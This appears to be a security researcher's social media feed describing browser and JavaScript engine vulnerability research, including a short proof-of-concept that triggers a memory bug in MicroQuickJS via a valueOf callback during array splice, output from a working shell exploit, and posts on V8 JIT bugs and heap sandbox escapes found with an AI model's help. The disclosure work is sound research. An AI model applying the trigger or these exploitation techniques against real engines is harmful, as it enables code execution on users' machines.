itszn
1,341
posts
@itszn13
she/her
Joined June 2011
Pinned
When MicroQuickJS released, I spent 8.5 hours to summon an Exploit for it. Here is the Fault: var arr = new Array(30) var attack = { valueOf: function() { arr.length = 0 arr.length = 3 return 10 } } arr.splice(attack, 30) I document the full Ritual Process below
New JS engine, old JS vulns :) Found a bug and wrote an exploit in 8 hours 645da364a8089c43953b345d3004fc76148cb2f136f74e211429ddc8452846d1 exp-shell.js ./mqjs ./exp-shell.js LEAKED: 77b6 1c5ff205 LIBC BASE: 77b6 1d600000 STACK PTR: 7ffd 143e1bb8 WROTE ROP CHAIN $ whoami nyan
Our research team (with the help of their agents) did it again! Second v8ctf in flag one week! Entirely separate 0day ARW bug and new 0day heap sandbox escape
A team effort between me and gpt-5.6-sol, we finally checked off v8ctf from my bucket list with a 0day ARW and a 0day heap sandbox escape :)
A team effort between me and gpt-5.6-sol, we finally checked off v8ctf from my bucket list with a 0day ARW and a 0day heap sandbox escape :)
We found another exploitable V8 JIT bug CVE-2026-14431; fixed in the most recent Chrome update This one was an interesting case of sloppy mode breaking JIT assumptions In addition the same session was able to find a working v8 heap sandbox bypass (although it ended up as a dup)
This was a fun v8 bug we caught before it got released to stable A new opt replaced ARM64 f64mod instruction L%R with a fast impl: L-trunc(L/R)*R However this has a bad edge case with f64 precision JIT range analysis uses correct mod -> range confusion -> range elimination
00:00
[488078904] Incorrect Float64Mod Fast-Path Producing Range Confusion in Optimizing Compilers crbug.com/488078904
